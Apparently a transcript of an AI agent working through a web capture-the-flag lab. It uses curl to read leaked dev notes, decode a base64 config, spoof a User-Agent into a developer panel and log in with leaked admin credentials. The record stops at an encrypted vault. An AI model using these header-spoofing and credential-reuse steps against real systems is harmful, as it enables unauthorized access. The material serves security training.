Inference interrupted by user.
Call TodoWrite
Arguments
{"todos": [{"content":"Perform web reconnaissance on http://3.28.44.58/","status":"in_progress","activeForm":"Performing web reconnaissance on http://3.28.44.58/"},{"content":"Identify and exploit first vulnerability for Flag 1","status":"pending","activeForm":"Identifying and exploiting first vulnerability for Flag 1"},{"content":"Identify and exploit second vulnerability for Flag 2","status":"pending","activeForm":"Identifying and exploiting second vulnerability for Flag 2"},{"content":"Identify and exploit third vulnerability for Flag 3","status":"pending","activeForm":"Identifying and exploiting third vulnerability for Flag 3"}]}
Tool result
Todos have been modified successfully. Ensure that you continue to use the todo list to track your progress. Please proceed with the current tasks if applicableCall sandbox_execute
Arguments
{"command": "curl -i http://3.28.44.58/", "timeout": "30"}
Tool result
<tool_use_error>Error: No such tool available: sandbox_execute</tool_use_error>Call sandbox_execute
Arguments
{"command": "curl -i http://3.28.44.58/", "timeout": 30}
Tool result
{"exitCode":0,"stdout":"HTTP/1.1 200 OK\r\nServer: Werkzeug/3.0.1 Python/3.10.12\r\nDate: Sun, 28 Dec 2025 08:42:06 GMT\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: 2332\r\nConnection: close\r\n\r\n\n<html lang="en">\n\n <meta charset="UTF-8">\n <meta name="viewport" content="width=device-width, initial-scale=1.0">\n TechCorp Portal\n <link rel="stylesheet" href="/static/css/style.css">\n\n\n <nav class="navbar">\n <div class="nav-brand">\n <span class="logo">⚙️ TechCorp Portal\n \n <div class="nav-links">\n <a href="/">Home\n <a href="/login">Login\n <a href="/register">Register\n \n \n\n <div class="hero">\n <div class="hero-content">\n Welcome to TechCorp
\n Your trusted partner in enterprise solutions
\n <div class="hero-buttons">\n <a href="/register" class="btn btn-primary">Get Started\n <a href="/login" class="btn btn-secondary">Login\n \n \n \n\n <div class="container">\n <section class="features">\n <div class="feature-card">\n <div class="feature-icon">🔒\n Secure Platform
\n Enterprise-grade security for all your data and operations.
\n \n <div class="feature-card">\n <div class="feature-icon">📊\n Analytics Dashboard
\n Real-time insights and comprehensive reporting tools.
\n \n <div class="feature-card">\n <div class="feature-icon">🚀\n Fast & Reliable
\n 99.9% uptime guarantee with lightning-fast response times.
\n \n \n\n <section class="info-section">\n About TechCorp Portal
\n TechCorp Portal provides a unified platform for managing your enterprise operations. \n Our secure dashboard gives you access to all the tools you need to succeed.
\n Register today to access your personalized dashboard and start exploring our features.
\n \n \n\n \n © 2024 TechCorp Industries. All rights reserved.
\n <p class="footer-note">Internal Development Server v2.3.1\n \n\n","stderr":" % Total % Received % Xferd Average Speed Time Time Time Current\n Dload Upload Total Spent Left Speed\n\r 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0\r 55 2332 55 1298 0 0 1942 0 0:00:01 --:--:-- 0:00:01 1940\r100 2332 100 2332 0 0 3429 0 --:--:-- --:--:-- --:--:-- 3424\n"}Call sandbox_execute
Arguments
{"command": "curl -s http://3.28.44.58/robots.txt"}
Tool result
{"exitCode":0,"stdout":"# Robots.txt - Web Crawler Configuration\n# Last updated by: dev_admin\n# Note: Remember to remove dev paths before production!\n\nUser-agent: \nDisallow: /admin/\nDisallow: /api/internal/\nDisallow: /.dev-notes/\nDisallow: /backup/\nDisallow: /static/.dev-notes/\nDisallow: /myfiles/\nDisallow: /dev-panel\n\n# TODO: Clean up the .dev-notes folder - it has sensitive configs\n# Contact: devops@techcorp-internal.local\n","stderr":""}Call sandbox_execute
Arguments
{"command": "curl -s http://3.28.44.58/.dev-notes/"}
Tool result
{"exitCode":0,"stdout":"\n<html lang="en">\n\n <meta charset="UTF-8">\n <meta name="viewport" content="width=device-width, initial-scale=1.0">\n 404 - Page Not Found\n <link rel="stylesheet" href="/static/css/style.css">\n\n\n <div class="error-container">\n <div class="error-content">\n <h1 class="error-code">404\n Page Not Found
\n The page you're looking for doesn't exist or has been moved.
\n <a href="/" class="btn btn-primary">Go Home\n \n \n\n","stderr":""}Call sandbox_execute
Arguments
{"command": "curl -s http://3.28.44.58/static/.dev-notes/"}
Tool result
{"exitCode":0,"stdout":"\n\nIndex of /.dev-notes/\n\nIndex of /static/.dev-notes/
\n
\n\n<a href="../">../\n<a href="readme.txt">readme.txt 2024-01-15 09:23 1.2K\n<a href="dev-config.b64">dev-config.b64 2024-01-15 09:25 856\n<a href="internal-notes.txt">internal-notes.txt 2024-01-14 14:30 423\n
\n
\nApache/2.4.52 (Ubuntu) Server\n\n","stderr":""}Call sandbox_execute
Arguments
{"command": "curl -s http://3.28.44.58/admin/"}
Tool result
{"exitCode":0,"stdout":"\n<html lang="en">\n\n <meta charset="UTF-8">\n <meta name="viewport" content="width=device-width, initial-scale=1.0">\n 404 - Page Not Found\n <link rel="stylesheet" href="/static/css/style.css">\n\n\n <div class="error-container">\n <div class="error-content">\n <h1 class="error-code">404\n Page Not Found
\n The page you're looking for doesn't exist or has been moved.
\n <a href="/" class="btn btn-primary">Go Home\n \n \n\n","stderr":""}Call sandbox_execute
Arguments
{"command": "curl -s http://3.28.44.58/dev-panel"}
Tool result
{"exitCode":0,"stdout":"\n\nRedirecting...\nRedirecting...
\n
You should be redirected automatically to the target URL: <a href="/login">/login. If not, click the link.\n","stderr":""}
Call sandbox_execute
Arguments
{"command": "curl -s http://3.28.44.58/static/.dev-notes/readme.txt"}
Tool result
{"exitCode":0,"stdout":"===========================================\n TECHCORP INTERNAL DEVELOPMENT NOTES\n===========================================\nLast Updated: 2024-01-15\nAuthor: Jake Morrison (jake.m@techcorp-internal.local)\n\nIMPORTANT: This directory should NOT be accessible in production!\n\nDevelopment Server Access:\n--------------------------\n- Main dashboard requires authentication\n- Dev tools are restricted to internal devices only\n- UI sections load conditionally based on client type\n\nAuthentication Notes:\n--------------------\n- Standard users see limited dashboard\n- Developer access requires internal browser identification\n- Check dev-config.b64 for encoded configuration details\n\nTODO:\n-----\n[ ] Remove this directory before deployment\n[ ] Rotate API keys\n[ ] Update User-Agent whitelist documentation\n\nContact DevOps if you need access to the internal tools.\n===========================================\n","stderr":""}Call sandbox_execute
Arguments
{"command": "curl -s http://3.28.44.58/static/.dev-notes/dev-config.b64"}
Tool result
{"exitCode":0,"stdout":"# Developer Configuration Export\n# Generated: 2024-01-15T09:25:33Z\n# Encoding: Base64\n# ----------------------------------------\n\nCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KICAgIENPTkZJREVOVElBTCBERVZFTE9QRVIgQ09ORklHVVJBVElPTgo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CgpGTEFHXzE6IGV4cGxvaXQzcnN7cjBiMHRzX3R4dF9sM2Frc19zM2NyM3RzXzIwMjR9CgpDb25ncmF0dWxhdGlvbnMhIFlvdSd2ZSBmb3VuZCB0aGUgZmlyc3QgZmxhZyEKCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KSElOVCBGT1IgTkVYVCBDSEFMTEVOR0U6Cj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KU29tZSBwYXJ0cyBvZiB0aGUgc3lzdGVtIGFyZSBvbmx5IGFjY2Vzc2libGUgCnRvIGludGVybmFsIGJyb3dzZXJzLgoKVGhlIHNlcnZlciBjaGVja3MgdGhlIFVzZXItQWdlbnQgaGVhZGVyIHRvIHZlcmlmeSAKaWYgdGhlIHJlcXVlc3QgY29tZXMgZnJvbSBvdXIgaW50ZXJuYWwgZGV2IGJyb3dzZXIuCgpSZXF1aXJlZCBVc2VyLUFnZW50OiBEZXZTZWNPcHMtSW50ZXJuYWwtQnJvd3Nlci8xLjAKCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0K\n\n# ----------------------------------------\n# Decode with: echo "" | base64 -d\n","stderr":""}Call sandbox_execute
Arguments
{"command": "curl -s http://3.28.44.58/static/.dev-notes/internal-notes.txt"}
Tool result
{"exitCode":0,"stdout":"Internal Development Notes\n==========================\n\nBrowser Identification System:\n-----------------------------\nWe use User-Agent validation to identify internal dev machines.\nThis allows developers to access extended dashboard features\nwithout separate authentication.\n\nCurrent whitelisted UA string: DevSecOps-Internal-Browser/1.0\n\nWARNING: This is security through obscurity - we need to \nimplement proper role-based access control soon!\n\n- DevOps Team\n","stderr":""}Call sandbox_execute
Arguments
{"command": "echo \"Q09ORklERU5USUFMIERFVkVMT1BFUiBDT05GSUdVUkFUSU9OCgpGTEFHXzE6IGV4cGxvaXQzcnN7cjBiMHRzX3R4dF9sM2Frc19zM2NyM3RzXzIwMjR9CgpDb25ncmF0dWxhdGlvbnMhIFlvdSd2ZSBmb3VuZCB0aGUgZmlyc3QgZmxhZyEKCkhJTlQgRk9SIEVYVCBDSEFMTEVOR0U6ClNvbWUgcGFydHMgb2YgdGhlIHN5c3RlbSBhcmUgb25seSBhY2Nlc3NpYmxlIAp0byBpbnRlcm5hbCBicm93c2Vycy4KClRoZSBzZXJ2ZXIgY2hlY2tzIHRoZSBVc2VyLUFnZW50IGhlYWRlciB0byB2ZXJpZnkgCmlmIHRoZSByZXF1ZXN0IGNvbWVzIGZyb20gb3VyIGludGVybmFsIGRldiBicm93c2VyLgoKUmVxdWlyZWQgVXNlci1BZ2VudDogRGV2U2VjT3BzLUludGVybmFsLUJyb3dzZXIvMS4wCg==\" | base64 -d"}
Tool result
{"exitCode":0,"stdout":"CONFIDENTIAL DEVELOPER CONFIGURATION\n\nFLAG_1: exploit3rs{r0b0ts_txt_l3aks_s3cr3ts_2024}\n\nCongratulations! You've found the first flag!\n\nHINT FOR EXT CHALLENGE:\nSome parts of the system are only accessible \nto internal browsers.\n\nThe server checks the User-Agent header to verify \nif the request comes from our internal dev browser.\n\nRequired User-Agent: DevSecOps-Internal-Browser/1.0\n","stderr":""}Call TodoWrite
Arguments
{"todos": [{"content":"Perform web reconnaissance on http://3.28.44.58/","status":"completed","activeForm":"Performing web reconnaissance on http://3.28.44.58/"},{"content":"Identify and exploit first vulnerability for Flag 1","status":"completed","activeForm":"Identifying and exploiting first vulnerability for Flag 1"},{"content":"Access internal features with spoofed User-Agent for Flag 2","status":"in_progress","activeForm":"Accessing internal features with spoofed User-Agent for Flag 2"},{"content":"Identify and exploit third vulnerability for Flag 3","status":"pending","activeForm":"Identifying and exploiting third vulnerability for Flag 3"}]}
Tool result
Todos have been modified successfully. Ensure that you continue to use the todo list to track your progress. Please proceed with the current tasks if applicableCall sandbox_execute
Arguments
{"command": "curl -s -H \"User-Agent: DevSecOps-Internal-Browser/1.0\" http://3.28.44.58/dev-panel"}
Tool result
{"exitCode":0,"stdout":"\n\nRedirecting...\nRedirecting...
\n
You should be redirected automatically to the target URL: <a href="/login">/login. If not, click the link.\n","stderr":""}
Call sandbox_execute
Arguments
{"command": "curl -s http://3.28.44.58/register"}
Tool result
{"exitCode":0,"stdout":"\n<html lang="en">\n\n <meta charset="UTF-8">\n <meta name="viewport" content="width=device-width, initial-scale=1.0">\n Register - TechCorp Portal\n <link rel="stylesheet" href="/static/css/style.css">\n\n\n <nav class="navbar">\n <div class="nav-brand">\n <span class="logo">⚙️ TechCorp Portal\n \n <div class="nav-links">\n <a href="/">Home\n <a href="/login">Login\n <a href="/register" class="active">Register\n \n \n\n <div class="auth-container">\n <div class="auth-card">\n Create Account
\n <p class="auth-subtitle">Join TechCorp Portal today\n \n \n \n \n \n <form method="POST" action="/register">\n <div class="form-group">\n <label for="username">Username\n <input type="text" id="username" name="username" required \n placeholder="Choose a username">\n \n \n <div class="form-group">\n <label for="password">Password\n <input type="password" id="password" name="password" required\n placeholder="Create a password">\n \n \n <button type="submit" class="btn btn-primary btn-full">Create Account\n \n \n <div class="auth-footer">\n Already have an account? <a href="/login">Sign in here
\n \n \n \n\n \n © 2024 TechCorp Industries. All rights reserved.
\n \n\n","stderr":""}Call sandbox_execute
Arguments
{"command": "curl -s -X POST http://3.28.44.58/register -d \"username=testuser123&password=testpass123\" -c /sandbox/cookies.txt"}
Tool result
{"exitCode":0,"stdout":"\n\nRedirecting...\nRedirecting...
\n
You should be redirected automatically to the target URL: <a href="/login">/login. If not, click the link.\n","stderr":""}
Call sandbox_execute
Arguments
{"command": "curl -s -X POST http://3.28.44.58/login -d \"username=testuser123&password=testpass123\" -c /sandbox/cookies.txt"}
Tool result
{"exitCode":0,"stdout":"\n\nRedirecting...\nRedirecting...
\n
You should be redirected automatically to the target URL: <a href="/dashboard">/dashboard. If not, click the link.\n","stderr":""}
Call sandbox_execute
Arguments
{"command": "curl -s -b /sandbox/cookies.txt http://3.28.44.58/dashboard"}
Tool result
{"exitCode":0,"stdout":"\n<html lang="en">\n\n <meta charset="UTF-8">\n <meta name="viewport" content="width=device-width, initial-scale=1.0">\n Dashboard - TechCorp Portal\n <link rel="stylesheet" href="/static/css/style.css">\n\n\n <nav class="navbar">\n <div class="nav-brand">\n <span class="logo">⚙️ TechCorp Portal\n \n <div class="nav-links">\n <a href="/dashboard" class="active">Dashboard\n \n \n <a href="/logout">Logout\n \n \n\n <div class="dashboard-container">\n <aside class="sidebar">\n <div class="user-info">\n <div class="user-avatar ">T\n <div class="user-details">\n testuser123
\n <span class="user-role">Standard User\n \n \n \n <nav class="sidebar-nav">\n <a href="/dashboard" class="nav-item active">\n 📊 Overview\n \n <a href="#" class="nav-item">\n 📁 My Files\n \n <a href="#" class="nav-item">\n ⚙️ Settings\n \n \n <div class="nav-divider">\n \n \n <div class="nav-item disabled" title="Developer access required">\n 🔧 Developer Tools\n <span class="lock-icon">🔒\n \n \n \n \n <div class="nav-item disabled" title="Admin access required">\n 👑 Admin Panel\n <span class="lock-icon">🔒\n \n \n \n \n\n <main class="dashboard-main">\n \n \n \n\n <div class="dashboard-header">\n Welcome, testuser123!
\n Here's your dashboard overview
\n \n\n <div class="stats-grid">\n <div class="stat-card">\n <div class="stat-icon">📈\n <div class="stat-content">\n 127
\n Total Actions
\n \n \n <div class="stat-card">\n <div class="stat-icon">📁\n <div class="stat-content">\n 34
\n Files Uploaded
\n \n \n <div class="stat-card">\n <div class="stat-icon">✅\n <div class="stat-content">\n 98%
\n Completion Rate
\n \n \n \n\n \n <div class="restricted-notice">\n <div class="notice-icon">🔒\n <div class="notice-content">\n Developer Features Restricted
\n Some dashboard sections are only available for internal developer devices.
\n <p class="hint-text">Developer tools are unavailable for non-internal clients.\n \n \n \n\n <section class="recent-activity">\n Recent Activity
\n <div class="activity-list">\n <div class="activity-item">\n <span class="activity-icon">📄\n <div class="activity-details">\n Report generated successfully
\n <span class="activity-time">2 hours ago\n \n \n <div class="activity-item">\n <span class="activity-icon">👤\n <div class="activity-details">\n Profile settings updated
\n <span class="activity-time">1 day ago\n \n \n <div class="activity-item">\n <span class="activity-icon">🔑\n <div class="activity-details">\n Session started from new device
\n <span class="activity-time">2 days ago\n \n \n \n \n \n \n\n","stderr":""}Call sandbox_execute
Arguments
{"command": "curl -s -b /sandbox/cookies.txt -H \"User-Agent: DevSecOps-Internal-Browser/1.0\" http://3.28.44.58/dashboard"}
Tool result
{"exitCode":0,"stdout":"\n<html lang="en">\n\n <meta charset="UTF-8">\n <meta name="viewport" content="width=device-width, initial-scale=1.0">\n Dashboard - TechCorp Portal\n <link rel="stylesheet" href="/static/css/style.css">\n\n\n <nav class="navbar">\n <div class="nav-brand">\n <span class="logo">⚙️ TechCorp Portal\n \n <div class="nav-links">\n <a href="/dashboard" class="active">Dashboard\n \n <a href="/dev-panel" class="dev-link">🔧 Dev Panel\n \n \n <a href="/logout">Logout\n \n \n\n <div class="dashboard-container">\n <aside class="sidebar">\n <div class="user-info">\n <div class="user-avatar ">T\n <div class="user-details">\n testuser123
\n <span class="user-role">Developer\n \n \n \n <nav class="sidebar-nav">\n <a href="/dashboard" class="nav-item active">\n 📊 Overview\n \n <a href="#" class="nav-item">\n 📁 My Files\n \n <a href="#" class="nav-item">\n ⚙️ Settings\n \n \n <div class="nav-divider">\n \n \n <a href="/dev-panel" class="nav-item dev-nav">\n 🔧 Developer Tools\n \n \n \n \n <div class="nav-item disabled" title="Admin access required">\n 👑 Admin Panel\n <span class="lock-icon">🔒\n \n \n \n \n\n <main class="dashboard-main">\n \n \n \n\n <div class="dashboard-header">\n Welcome, testuser123!
\n Here's your dashboard overview
\n \n\n <div class="stats-grid">\n <div class="stat-card">\n <div class="stat-icon">📈\n <div class="stat-content">\n 127
\n Total Actions
\n \n \n <div class="stat-card">\n <div class="stat-icon">📁\n <div class="stat-content">\n 34
\n Files Uploaded
\n \n \n <div class="stat-card">\n <div class="stat-icon">✅\n <div class="stat-content">\n 98%
\n Completion Rate
\n \n \n \n\n \n <div class="dev-welcome">\n <div class="notice-icon">🔓\n <div class="notice-content">\n Developer Access Granted
\n Welcome, developer! You have access to all internal tools.
\n <a href="/dev-panel" class="btn btn-primary">Open Developer Panel\n \n \n \n\n <section class="recent-activity">\n Recent Activity
\n <div class="activity-list">\n <div class="activity-item">\n <span class="activity-icon">📄\n <div class="activity-details">\n Report generated successfully
\n <span class="activity-time">2 hours ago\n \n \n <div class="activity-item">\n <span class="activity-icon">👤\n <div class="activity-details">\n Profile settings updated
\n <span class="activity-time">1 day ago\n \n \n <div class="activity-item">\n <span class="activity-icon">🔑\n <div class="activity-details">\n Session started from new device
\n <span class="activity-time">2 days ago\n \n \n \n \n \n \n\n","stderr":""}Call sandbox_execute
Arguments
{"command": "curl -s -b /sandbox/cookies.txt -H \"User-Agent: DevSecOps-Internal-Browser/1.0\" http://3.28.44.58/dev-panel"}
Tool result
{"exitCode":0,"stdout":"\n\n\n <meta http-equiv="Content-Type" content="text/html; charset=utf-8">\n <meta http-equiv="Content-Style-Type" content="text/css">\n \n <meta name="Generator" content="Cocoa HTML Writer">\n <meta name="CocoaVersion" content="2685.1">\n <style type="text/css">\n p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Times; -webkit-text-stroke: #000000}\n p.p2 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Times; color: #0000e9; -webkit-text-stroke: #0000e9}\n p.p4 {margin: 0.0px 0.0px 12.0px 0.0px; font: 12.0px Times; -webkit-text-stroke: #000000}\n p.p6 {margin: 0.0px 0.0px 0.0px 0.0px; font: 13.0px Menlo; -webkit-text-stroke: #000000}\n p.p7 {margin: 0.0px 0.0px 12.0px 0.0px; font: 13.0px Menlo; -webkit-text-stroke: #000000}\n li.li1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Times; -webkit-text-stroke: #000000}\n li.li6 {margin: 0.0px 0.0px 0.0px 0.0px; font: 13.0px Menlo; -webkit-text-stroke: #000000}\n span.s1 {font: 12.0px 'Apple Color Emoji'; font-kerning: none}\n span.s2 {font-kerning: none}\n span.s3 {text-decoration: underline ; font-kerning: none}\n span.s4 {font-kerning: none; color: #000000; -webkit-text-stroke: 0px #000000}\n span.s5 {text-decoration: underline ; font-kerning: none; -webkit-text-stroke: 0px #0000e9}\n span.s6 {font: 12.0px Times; font-kerning: none}\n span.s7 {-webkit-text-stroke: 0px #000000}\n ul.ul1 {list-style-type: disc}\n \n\n\n<p class="p1"><span class="s1">🔧<span class="s2"> TechCorp Dev Panel\n<p class="p2"><span class="s3"><a href="file:///dashboard">Dashboard<span class="s4"> <a href="file:///dev-panel"><span class="s5">Dev Panel <a href="file:///logout"><span class="s5">Logout\n<h1 style="margin: 0.0px 0.0px 16.1px 0.0px; font: 24.0px Times; -webkit-text-stroke: #000000"><span class="s2">Developer Panel\n<p class="p4"><span class="s2">Internal tools and system access\n<p class="p1"><span class="s2">INTERNAL ACCESS GRANTED\n<p class="p1"><span class="s2">Access Granted! You are accessing this panel from an authorized internal device.\n<h2 style="margin: 0.0px 0.0px 14.9px 0.0px; font: 18.0px Times; -webkit-text-stroke: #000000"><span class="s2">Congratulations!\n<p class="p4"><span class="s2">You have successfully bypassed the User-Agent access control!\n<p class="p6"><span class="s2">FLAG_2: Exploit3rs{us3r_ag3nt_byp4ss_d3v_4cc3ss}\n<h2 style="margin: 0.0px 0.0px 14.9px 0.0px; font: 18.0px Times; -webkit-text-stroke: #000000"><span class="s2">Next Challenge - The Encrypted Vault\n<p class="p4"><span class="s2">Great work! The final challenge awaits. We discovered leaked admin credentials:\n<p class="p7"><span class="s6">Username: <span class="s2">administrator\n<p class="p7"><span class="s6">Password: <span class="s2">Sup3rS3cur3P@ss!\n<p class="p4"><span class="s2">Login as admin to access the encrypted vault. You'll need to find and decode key fragments scattered across the system...\n<h3 style="margin: 0.0px 0.0px 14.0px 0.0px; font: 14.0px Times; -webkit-text-stroke: #000000"><span class="s2">System Status\n<p class="p1"><span class="s2">Database Online\n<p class="p1"><span class="s2">API Server Online\n<p class="p1"><span class="s2">Auth Service Online\n<h3 style="margin: 0.0px 0.0px 14.0px 0.0px; font: 14.0px Times; -webkit-text-stroke: #000000"><span class="s2">Debug Logs\n<p class="p4"><span class="s2">[2024-01-15 09:23:01] Auth service initialized\n<p class="p4"><span class="s2">[2024-01-15 09:23:45] Debug mode enabled\n<p class="p4"><span class="s2">[2024-01-15 09:24:12] error: part 1 0x7374347236b5f\n<p class="p4"><span class="s2">[2024-01-15 09:25:33] Memory dump saved\n<p class="p4"><span class="s2">[2024-01-15 09:26:01] WARNING: Sensitive data in hex format!\n<h2 style="margin: 0.0px 0.0px 14.9px 0.0px; font: 18.0px Times; -webkit-text-stroke: #000000"><span class="s2">System Resources\n<p class="p4"><span class="s2">Additional configuration files may contain useful information:\n<ul class="ul1">\n <li class="li6"><span class="s7"><span class="s2">/myfiles/<span class="s6"><span class="Apple-converted-space"> \n <li class="li6"><span class="s7"><span class="s2">/myfiles/crypto_params.txt<span class="s6"><span class="Apple-converted-space"> \n <li class="li6"><span class="s7"><span class="s2">/myfiles/backup_log.csv<span class="s6"><span class="Apple-converted-space"> \n\n<h2 style="margin: 0.0px 0.0px 14.9px 0.0px; font: 18.0px Times; -webkit-text-stroke: #000000"><span class="s2">Security Notes\n<p class="p4"><span class="s2">The weak access control you exploited is a common vulnerability:\n<ul class="ul1">\n <li class="li1"><span class="s7"><span class="s2">CWE-287: Improper Authentication\n <li class="li1"><span class="s7"><span class="s2">Never trust client-side headers for access control\n <li class="li1"><span class="s7"><span class="s2">User-Agent can be easily spoofed\n\n\n","stderr":""}Call TodoWrite
Arguments
{"todos": [{"content":"Perform web reconnaissance on http://3.28.44.58/","status":"completed","activeForm":"Performing web reconnaissance on http://3.28.44.58/"},{"content":"Identify and exploit first vulnerability for Flag 1","status":"completed","activeForm":"Identifying and exploiting first vulnerability for Flag 1"},{"content":"Access internal features with spoofed User-Agent for Flag 2","status":"completed","activeForm":"Accessing internal features with spoofed User-Agent for Flag 2"},{"content":"Login as admin and find encrypted vault for Flag 3","status":"in_progress","activeForm":"Logging in as admin and finding encrypted vault for Flag 3"}]}
Tool result
Todos have been modified successfully. Ensure that you continue to use the todo list to track your progress. Please proceed with the current tasks if applicableCall sandbox_execute
Arguments
{"command": "curl -s -X POST http://3.28.44.58/login -d \"username=administrator&password=Sup3rS3cur3P@ss!\" -c /sandbox/admin_cookies.txt"}
Tool result
{"exitCode":0,"stdout":"\n\nRedirecting...\nRedirecting...
\n
You should be redirected automatically to the target URL: <a href="/dashboard">/dashboard. If not, click the link.\n","stderr":""}
Call sandbox_execute
Arguments
{"command": "curl -s -b /sandbox/admin_cookies.txt -H \"User-Agent: DevSecOps-Internal-Browser/1.0\" http://3.28.44.58/dashboard"}
Tool result
{"exitCode":0,"stdout":"\n<html lang="en">\n\n <meta charset="UTF-8">\n <meta name="viewport" content="width=device-width, initial-scale=1.0">\n Dashboard - TechCorp Portal\n <link rel="stylesheet" href="/static/css/style.css">\n\n\n <nav class="navbar">\n <div class="nav-brand">\n <span class="logo">⚙️ TechCorp Portal\n \n <div class="nav-links">\n <a href="/dashboard" class="active">Dashboard\n \n <a href="/dev-panel" class="dev-link">🔧 Dev Panel\n \n \n <a href="/admin-panel" class="admin-link">👑 Admin Panel\n \n <a href="/logout">Logout\n \n \n\n <div class="dashboard-container">\n <aside class="sidebar">\n <div class="user-info">\n <div class="user-avatar admin-avatar">A\n <div class="user-details">\n administrator
\n <span class="user-role">Administrator\n \n \n \n <nav class="sidebar-nav">\n <a href="/dashboard" class="nav-item active">\n 📊 Overview\n \n <a href="#" class="nav-item">\n 📁 My Files\n \n <a href="#" class="nav-item">\n ⚙️ Settings\n \n \n <div class="nav-divider">\n \n \n <a href="/dev-panel" class="nav-item dev-nav">\n 🔧 Developer Tools\n \n \n \n \n <a href="/admin-panel" class="nav-item admin-nav">\n 👑 Admin Panel\n \n <a href="#" class="nav-item admin-nav">\n 🗄️ Database\n \n <a href="#" class="nav-item admin-nav">\n 🔐 Encrypted Vault\n \n \n \n \n\n <main class="dashboard-main">\n \n \n \n\n <div class="dashboard-header">\n Welcome, administrator!
\n Here's your dashboard overview
\n \n\n <div class="stats-grid">\n <div class="stat-card">\n <div class="stat-icon">📈\n <div class="stat-content">\n 127
\n Total Actions
\n \n \n <div class="stat-card">\n <div class="stat-icon">📁\n <div class="stat-content">\n 34
\n Files Uploaded
\n \n \n <div class="stat-card">\n <div class="stat-icon">✅\n <div class="stat-content">\n 98%
\n Completion Rate
\n \n \n \n\n \n <div class="admin-welcome">\n <div class="notice-icon">👑\n <div class="notice-content">\n Administrator Access
\n Welcome, Admin! You have full system access.
\n <a href="/admin-panel" class="btn btn-admin">Open Admin Panel\n \n \n \n\n <section class="recent-activity">\n Recent Activity
\n <div class="activity-list">\n <div class="activity-item">\n <span class="activity-icon">📄\n <div class="activity-details">\n Report generated successfully
\n <span class="activity-time">2 hours ago\n \n \n <div class="activity-item">\n <span class="activity-icon">👤\n <div class="activity-details">\n Profile settings updated
\n <span class="activity-time">1 day ago\n \n \n <div class="activity-item">\n <span class="activity-icon">🔑\n <div class="activity-details">\n Session started from new device
\n <span class="activity-time">2 days ago\n \n \n \n \n \n \n\n","stderr":""}Call sandbox_execute
Arguments
{"command": "curl -s -b /sandbox/admin_cookies.txt -H \"User-Agent: DevSecOps-Internal-Browser/1.0\" http://3.28.44.58/admin-panel"}
Tool result
{"exitCode":0,"stdout":"\n<html lang="en">\n\n <meta charset="UTF-8">\n <meta name="viewport" content="width=device-width, initial-scale=1.0">\n Admin Panel - TechCorp Portal\n <link rel="stylesheet" href="/static/css/style.css">\n \n body {\n font-family: Arial, sans-serif;\n margin: 0;\n padding: 0;\n background: #f5f5f5;\n }\n .navbar {\n background: #333;\n color: white;\n padding: 15px 30px;\n display: flex;\n justify-content: space-between;\n align-items: center;\n }\n .navbar a {\n color: white;\n text-decoration: none;\n margin-left: 20px;\n }\n .navbar a:hover {\n color: #00d4ff;\n }\n .navbar a.active {\n color: #00d4ff;\n font-weight: bold;\n }\n .container {\n max-width: 1200px;\n margin: 20px auto;\n padding: 20px;\n }\n .admin-header {\n background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);\n color: white;\n padding: 30px;\n border-radius: 8px;\n margin-bottom: 20px;\n }\n .admin-header h1 {\n margin: 0;\n font-size: 2em;\n }\n .admin-badge {\n display: inline-block;\n background: #00d4ff;\n color: #333;\n padding: 8px 20px;\n border-radius: 20px;\n font-weight: bold;\n margin-top: 10px;\n }\n .notice {\n background: #ffeaa7;\n border-left: 4px solid #ffc107;\n padding: 15px;\n border-radius: 8px;\n margin-bottom: 20px;\n }\n .section {\n background: white;\n padding: 20px;\n margin-bottom: 20px;\n border-radius: 8px;\n box-shadow: 0 2px 8px rgba(0,0,0,0.1);\n }\n .section h2 {\n margin-top: 0;\n color: #333;\n border-bottom: 2px solid #667eea;\n padding-bottom: 10px;\n }\n .section h3 {\n color: #555;\n margin-top: 0;\n }\n .vault-info {\n background: #f8f9fa;\n padding: 15px;\n border-radius: 8px;\n margin-bottom: 15px;\n border-left: 4px solid #667eea;\n }\n .btn {\n display: inline-block;\n background: #667eea;\n color: white;\n padding: 12px 30px;\n text-decoration: none;\n border-radius: 5px;\n font-weight: bold;\n border: none;\n cursor: pointer;\n transition: all 0.3s;\n }\n .btn:hover {\n background: #5568d3;\n transform: translateY(-2px);\n }\n .stats-grid {\n display: grid;\n grid-template-columns: repeat(auto-fit, minmax(150px, 1fr));\n gap: 15px;\n margin: 15px 0;\n }\n .stat-card {\n background: #f8f9fa;\n padding: 15px;\n text-align: center;\n border-radius: 8px;\n border-left: 4px solid #667eea;\n }\n .stat-card strong {\n display: block;\n font-size: 1.5em;\n color: #667eea;\n margin: 10px 0;\n }\n .logs {\n background: #1e1e1e;\n color: #00ff00;\n padding: 15px;\n border-radius: 8px;\n font-family: monospace;\n font-size: 0.9em;\n max-height: 400px;\n overflow-y: auto;\n line-height: 1.5;\n }\n .log-line {\n margin: 5px 0;\n }\n .vulnerability-list {\n list-style: none;\n padding: 0;\n }\n .vulnerability-list li {\n background: #f8f9fa;\n padding: 12px;\n margin-bottom: 8px;\n border-left: 4px solid #dc3545;\n border-radius: 4px;\n }\n \n\n\n <nav class="navbar">\n <div style="font-size: 1.2em; font-weight: bold;">\n 👑 TechCorp Admin Panel\n \n \n <a href="/dashboard">Dashboard\n <a href="/admin-panel" class="active">Admin Panel\n <a href="/logout">Logout\n \n \n\n <div class="container">\n <div class="admin-header">\n 👑 Administrator Control Center
\n Welcome, administrator. Full system access granted.
\n <span class="admin-badge">ADMIN ACCESS\n \n\n \n \n \n\n <div class="notice">\n 🔐 Encrypted Vault Detected! A secret encrypted file has been found. Download and decrypt it to complete the challenge!\n \n\n \n <div class="section">\n 🗄️ The Encrypted Vault
\n This vault contains the final flag. It's protected with AES-256-CBC encryption.
\n \n <div class="vault-info">\n 📄 vault_encrypted.txt
\n Size: 1.2 KB | Encryption: AES-256-CBC
